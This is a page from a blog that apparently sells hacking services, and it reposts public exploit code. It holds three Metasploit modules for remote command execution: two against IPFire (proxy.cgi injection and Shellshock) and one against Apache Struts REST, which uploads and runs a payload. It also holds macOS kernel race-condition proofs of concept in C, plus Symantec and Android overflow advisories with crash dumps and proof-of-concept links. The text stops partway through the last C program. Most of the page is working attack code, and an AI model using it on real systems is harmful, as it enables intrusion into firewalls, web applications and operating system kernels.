Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863117623

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        => 'IPFire proxy.cgi RCE',
        'Description' => %q(
          IPFire, a free linux based open source firewall distribution,
          version < 2.19 Update Core 101 contains a remote command execution
          vulnerability in the proxy.cgi page.
        ),
        'Author'      =>
          [
            'h00die <mike@stcyrsecurity.com>', # module
            'Yann CAM'                         # discovery
          ],
        'References'  =>
          [
            [ 'EDB', '39765' ],
            [ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => 'unix',
        'Privileged'     => false,
        'DefaultOptions' => { 'SSL' => true },
        'Arch'           => [ ARCH_CMD ],
        'Payload'        =>
          {
            'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'perl awk openssl'
              }
          },
        'Targets'        =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => 'May 04 2016'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
        Opt::RPORT(444)
      ], self.class
    )
  end

  def check
    begin
      res = send_request_cgi(
        'uri'       => '/cgi-bin/pakfire.cgi',
        'method'    => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
      /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body

      if version && update && version == "2.19" && update.to_i < 101
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  def exploit
    begin
      # To manually view the vuln page, click to proxy.cgi.  At the bottom
      # select Local, and save. Ignore the error box, at the bottom of
      # the page click the button: User Management.

      payload_formatted = "||#{payload.encoded};#"
      post_data =  "NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}"
      post_data << "&NCSA_GROUP=standard"
      post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}"
      post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}"
      post_data << "&SUBMIT=Create+user"
      post_data << "&ACTION=Add"
      post_data << "&NCSA_MIN_PASS_LEN=6"

      res = send_request_cgi(
        'uri'           => '/cgi-bin/proxy.cgi',
        'method'        => 'POST',
        'ctype'         => 'application/x-www-form-urlencoded',
        'headers'       =>
          {
            'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi"
          },
        'data'          => post_data
      )

      # success means we hang our session, and wont get back a response
      if res
        fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
        fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
      end

    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end
HireHackking 
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'          => 'IPFire Bash Environment Variable Injection (Shellshock)',
        'Description'   => %q(
          IPFire, a free linux based open source firewall distribution,
          version <= 2.15 Update Core 82 contains an authenticated remote
          command execution vulnerability via shellshock in the request headers.
        ),
        'Author'         =>
          [
            'h00die <mike@stcyrsecurity.com>', # module
            'Claudio Viviani'                  # discovery
          ],
        'References'     =>
          [
            [ 'EDB', '34839' ],
            [ 'CVE', '2014-6271']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => %w( linux unix ),
        'Privileged'     => false,
        'DefaultOptions' =>
          {
            'SSL' => true,
            'PAYLOAD' => 'cmd/unix/generic'
          },
        'Arch'           => ARCH_CMD,
        'Payload'        =>
          {
            'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'generic'
              }
          },
        'Targets'        =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultTarget'  => 0,
        'DisclosureDate' => 'Sep 29 2014'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
        Opt::RPORT(444)
      ], self.class
    )
  end

  def check
    begin
      res = send_request_cgi(
        'uri'       => '/cgi-bin/index.cgi',
        'method'    => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
      /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body

      if version && update && version == "2.15" && update.to_i < 83
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  #
  # CVE-2014-6271
  #
  def cve_2014_6271(cmd)
    %{() { :;}; /bin/bash -c "#{cmd}" }
  end

  def exploit
    begin
      payload = cve_2014_6271(datastore['CMD'])
      vprint_status("Exploiting with payload: #{payload}")
      res = send_request_cgi(
        'uri'       => '/cgi-bin/index.cgi',
        'method'    => 'GET',
        'headers'   => { 'VULN' => payload }
      )

      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
      /<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
      print_good(output) unless output.nil?

    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
        Execution can be performed when using REST Plugin with ! operator when
        Dynamic Method Invocation is enabled.
      },
      'Author'         => [
        'Nixawk' # original metasploit module
       ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2016-3087' ],
          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]
        ],
      'Platform'      => %w{ java linux win },
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
      'DisclosureDate' => 'Jun 01 2016',
      'DefaultTarget' => 2))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),
        OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
      ], self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def get_target_platform
    target.platform.platforms.first
  end

  def temp_path
    @TMPPATH ||= lambda {
      path = datastore['TMPPATH']
      return nil unless path

      case get_target_platform
      when Msf::Module::Platform::Windows
        slash = '\\'
      when
        slash = '/'
      else
      end

      unless path.end_with?('/')
        path << '/'
      end
      return path
    }.call
  end

  def send_http_request(payload, params_hash)
    uri = normalize_uri(datastore['TARGETURI'])
    uri = "#{uri}/#{payload}"
    resp = send_request_cgi(
      'uri'     => uri,
      'version' => '1.1',
      'method'  => 'POST',
      'vars_post' => params_hash
    )
    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def generate_rce_payload(code)
    payload = ""
    payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
    payload << ","
    payload << Rex::Text.uri_encode(code)
    payload << ","
    payload << Rex::Text.uri_encode("#xx.toString.json")
    payload << "?"
    payload << Rex::Text.uri_encode("#xx:#request.toString")
    payload
  end

  def upload_exec(cmd, filename, content)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)
    var_e = rand_text_alpha_lower(4)
    var_f = rand_text_alpha_lower(4)

    code =  "##{var_a}=new sun.misc.BASE64Decoder(),"
    code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
    code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
    code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
    code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
    payload = generate_rce_payload(code)

    params_hash = {
      var_d => Rex::Text.encode_base64(cmd),
      var_e => Rex::Text.encode_base64(filename),
      var_f => content
    }
    send_http_request(payload, params_hash)
  end

  def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)

    addend_one = rand_text_numeric(rand(3) + 1).to_i
    addend_two = rand_text_numeric(rand(3) + 1).to_i
    sum = addend_one + addend_two
    flag = Rex::Text.rand_text_alpha(5)

    code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.close()"

    payload = generate_rce_payload(code)
    params_hash = { var_b => flag }

    begin
      resp = send_http_request(payload, params_hash)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    payload_exe = rand_text_alphanumeric(4 + rand(4))
    case target['Platform']
      when 'java'
        payload_exe = "#{temp_path}#{payload_exe}.jar"
        pl_exe = payload.encoded_jar.pack
        command = "java -jar #{payload_exe}"
      when 'linux'
        path = datastore['TMPPATH'] || '/tmp/'
        pl_exe = generate_payload_exe
        payload_exe = "#{path}#{payload_exe}"
        command = "/bin/sh -c #{payload_exe}"
      when 'win'
        path = temp_path || '.\\'
        pl_exe = generate_payload_exe
        payload_exe = "#{path}#{payload_exe}.exe"
        command = "cmd.exe /c #{payload_exe}"
      else
        fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end

    pl_content = pl_exe.unpack('H*').join()

    print_status("Uploading exploit to #{payload_exe}, and executing it.")
    upload_exec(command, payload_exe, pl_content)

    handler
  end

end
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=784

The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.

We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

// ianbeer

// clang -o nv_command_queue_race nv_command_queue_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in nvCommandQueue::GetHandleIndex in GeForce.kext

The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.

We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0x100; // GetHandleData
  inputScalarCnt = 0;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 4096;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  OSSpinLockUnlock(&lock);
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

void poc() {
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("nvAccelerator", 9); //nvCommandQueue
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  
  pthread_join(t, NULL);
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }

  for (;;) {
    poc();
  }

  return 0;
}
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=783

The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)

We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

// ianbeer

// clang -o mux_control_race mux_control_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in AppleMuxControl.kext

The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)

We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 9; // getAGCData
  inputScalarCnt = 0;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 4096;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  OSSpinLockUnlock(&lock);
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

void poc() {
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("AppleMuxControl", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  
  pthread_join(t, NULL);
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }

  for (;;) {
    poc();
  }

  return 0;
}
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=821

A major component of the Symantec Antivirus scan engine is the "Decomposer", responsible for unpacking various archive formats such as ZIP, RAR, and so on. The decomposer runs as NT AUTHORITY\SYSTEM on Windows, and root on Linux and Mac. Simple fuzzing of zip archives discovered missing bounds checks in the routine ALPkOldFormatDecompressor::UnShrink, used to decode Zip archives. 

The routine uses a 16bit value read from the file to index a 256 element array without any bounds checking, the attached testcase should demonstrate this reliably. I have verified this on the following products:

    Norton Antivirus, Windows
    Symantec Endpoint Protection, Linux and Windows
    Symantec Scan Engine, Linux and Windows


(534.700): Access violation - code c0000005 (!!! second chance !!!)
eax=00003000 ebx=00003000 ecx=00003000 edx=00002000 esi=16adeb58 edi=16ad8b1b
eip=6ba47ec3 esp=16ad6af0 ebp=16adeb20 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
ccScanw!filelengthi64+0x3af63:
6ba47ec3 66399445fcbfffff cmp     word ptr [ebp+eax*2-4004h],dx ss:002b:16ae0b1c=????
0:071> ub
ccScanw!filelengthi64+0x3af3f:
6ba47e9f 8bb5ec7fffff    mov     esi,dword ptr [ebp-8014h]
6ba47ea5 8bc7            mov     eax,edi
6ba47ea7 8985e07fffff    mov     dword ptr [ebp-8020h],eax
6ba47ead e96d010000      jmp     ccScanw!filelengthi64+0x3b0bf (6ba4801f)
6ba47eb2 0fbfc3          movsx   eax,bx
6ba47eb5 ba00200000      mov     edx,2000h
6ba47eba 8dbdfb9fffff    lea     edi,[ebp-6005h]
6ba47ec0 0fb7cb          movzx   ecx,bx
0:071> lmv m ccScanw
start    end        module name
6b930000 6bb5f000   ccScanw    (export symbols)       C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll
    Loaded symbol image file: C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll
    Image path: C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll
    Image name: ccScanw.dll
    Timestamp:        Tue Jan 26 13:51:55 2016 (56A7EA7B)
    CheckSum:         0022B3ED
    ImageSize:        0022F000
    File version:     13.1.2.19
    Product version:  13.1.2.19
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Symantec Corporation
    ProductName:      Symantec Security Technologies
    InternalName:     ccScan
    OriginalFilename: CCSCAN.DLL
    ProductVersion:   13.1.2.19
    FileVersion:      13.1.2.19
    FileDescription:  Symantec Scan Engine
    LegalCopyright:   Copyright (c) 2015 Symantec Corporation. All rights reserved.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40036.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=798

Android: Stack-buffer-overflow in /system/bin/sdcard

There's an integer overflow issue in get_node_path_locked, which results in 
a buffer overflow. For all of the calling paths, this is going to overflow a 
stack buffer in the parent function:

static ssize_t get_node_path_locked(struct node* node, char* buf, size_t bufsize) {
    const char* name;
    size_t namelen;
    if (node->graft_path) {
        name = node->graft_path;
        namelen = node->graft_pathlen;
    } else if (node->actual_name) {
        name = node->actual_name;
        namelen = node->namelen;
    } else {
        name = node->name;
        namelen = node->namelen;
    }

    // when bufsize == namelen + 1
    if (bufsize < namelen + 1) {
        return -1;
    }

    ssize_t pathlen = 0;
    if (node->parent && node->graft_path == NULL) {
        // bufsize - namelen - 2 overflows to SIZE_MAX
        pathlen = get_node_path_locked(node->parent, buf, bufsize - namelen - 2);
        if (pathlen < 0) {
            return -1;
        }
        buf[pathlen++] = '/';
    }

    memcpy(buf + pathlen, name, namelen + 1); /* include trailing \0 */
    return pathlen + namelen;
}

This can be triggered by a malicious app creating a directory structure in
/sdcard with a total path length longer than PATH_MAX, which can be achieved by
creating a directory heirarchy starting with several directories with short 
names and later renaming these parent directories to have longer names. See the
attached POC, which can be run from the 'untrusted_app' selinux domain.

It appears that the overflow is close enough to the bottom of the stack that 
with a large overflow we can corrupt thread data that is used before the stack 
cookie is checked, suggesting that this issue is possibly exploitable despite 
the presence of stack cookies.

(gdb) i r
r0             0xb	11
r1             0x1	1
r2             0x41414199	1094795673
r3             0x41414141	1094795585
r4             0x80000000	2147483648
r5             0x0	0
r6             0xb6e40ec0	3068399296
r7             0xb6cbe860	3066816608
r8             0xb6e4930c	3068433164
r9             0xb6e3c594	3068380564
r10            0xbee4c9ac	3202664876
r11            0xb6943180	3063165312
r12            0xb6e3c908	3068381448
sp             0xb6cbe7a0	0xb6cbe7a0
lr             0xb6e1daad	-1226712403
pc             0xb6e06ade	0xb6e06ade <pthread_getspecific(pthread_key_t)+34>
cpsr           0x80070030	-2147024848
(gdb) x/10i $pc
=> 0xb6e06ade <pthread_getspecific(pthread_key_t)+34>:	ldr	r4, [r2, #100]	; 0x64
   0xb6e06ae0 <pthread_getspecific(pthread_key_t)+36>:	cmp	r4, r1
   0xb6e06ae2 <pthread_getspecific(pthread_key_t)+38>:	bne.n	0xb6e06aec <pthread_getspecific(pthread_key_t)+48>
   0xb6e06ae4 <pthread_getspecific(pthread_key_t)+40>:	ldr	r0, [r2, #104]	; 0x68
   0xb6e06ae6 <pthread_getspecific(pthread_key_t)+42>:	pop	{r4, pc}
   0xb6e06ae8 <pthread_getspecific(pthread_key_t)+44>:	movs	r0, #0
   0xb6e06aea <pthread_getspecific(pthread_key_t)+46>:	pop	{r4, pc}
   0xb6e06aec <pthread_getspecific(pthread_key_t)+48>:	adds	r0, #12
   0xb6e06aee <pthread_getspecific(pthread_key_t)+50>:	add.w	r12, r3, r0, lsl #3
   0xb6e06af2 <pthread_getspecific(pthread_key_t)+54>:	movs	r0, #0
(gdb) bt
#0  0xb6e06ade in pthread_getspecific (key=11) at bionic/libc/bionic/pthread_key.cpp:160
#1  0xb6e1daac in je_tsd_wrapper_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
#2  je_tsd_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
#3  je_tsd_fetch () at external/jemalloc/include/jemalloc/internal/tsd.h:614
#4  imalloc_body (usize=<synthetic pointer>, tsd=<synthetic pointer>, size=4) at external/jemalloc/src/jemalloc.c:1401
#5  je_malloc (size=4) at external/jemalloc/src/jemalloc.c:1423
#6  0xb6f3bb3e in handle_open (fuse=0xbee478c8, hdr=0xbee4c984, req=<optimized out>, handler=<optimized out>)
    at system/core/sdcard/sdcard.c:1193
#7  0x41414140 in ?? ()


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39921.zip
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=782

AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it
in all external methods.

We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the
other of which makes any external method call.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

// ianbeer

// clang -o graphicscontrol_race graphicscontrol_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in AppleGraphicsDeviceControl

AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it
in all external methods.

We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the
other of which makes any external method call.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0;   /// anything :)
  inputScalarCnt = 0;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 4096;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  OSSpinLockUnlock(&lock);
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

void poc() {
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("NVDC", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
